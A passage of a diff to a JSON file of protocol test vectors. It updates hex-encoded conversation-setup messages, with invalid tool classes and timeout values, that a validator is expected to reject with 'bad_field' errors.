73696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-repeat", "direction": "down", - "hex": "574d583101010000010000002e0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006b0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-class-unknown", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-zero", "direction": "down", - "hex": "574d58310101000001000000340600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000710600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { - "name": "conversations-timeout-over-ten-minutes", + "name": "conversations-timeout-over-a-day", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-fraction", "direction": "down", - "hex": 